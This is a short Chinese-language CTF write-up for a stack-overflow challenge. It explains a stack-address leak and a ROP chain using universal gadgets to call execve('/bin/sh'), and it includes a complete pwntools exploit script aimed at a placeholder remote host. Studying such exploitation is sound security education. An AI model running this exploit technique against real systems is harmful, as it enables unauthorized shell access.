checksec一下,栈溢出
IDA打开看看,main函数内只有一个call vuln
注意到vuln函数末尾并没有使用leave指令,即直接把之前push的rbp当作return address
我们要ROP的话offset只需要0x10
程序里还给了一些gadget,注意到当rax=0x3b时syscall为execve,只需要让rdi="/bin/sh"、rsi=0、rdx=0即可get shell
注意到write会打印0x30个字符,其中前0x20个字符没什么用,接下来8个字符是栈上的一个地址,通过gdb调试可以确定它相对于我们输入的首字符的偏移为0x118,从而确定我们下次输入时写在开头的/bin/sh的地址
由于还需要控制第二个和第三个参数,因此选用通用gadget
r12需要指向存放下一个ROP的地址的代码,在这里可以确定相对于输入开头的偏移为0x50
from pwn import *
from LibcSearcher import *
context.os='linux'
context.arch='amd64'
context.log_level='debug'
sl=lambda x:io.sendline(x)
rn=lambda x:io.recv(x)
io=remote('xxx',xxx)
vuln=0x4004ed
pop_rdi=0x4005a3
pop_regs=0x40059a
mov_call=0x400580
mov_rax=0x4004e2
syscall=0x400517
payload=p64(0)*2+p64(vuln)
sl(payload)
rn(0x20)
binsh=u64(rn(8))-0x118
payload='/bin/sh\0'.encode('utf-8')+p64(0)+p64(pop_regs)+p64(0)*2+p64(binsh+0x50)+p64(0)*3+p64(mov_call)+p64(pop_rdi)+p64(binsh)+p64(mov_rax)+p64(syscall)
sl(payload)
io.interactive()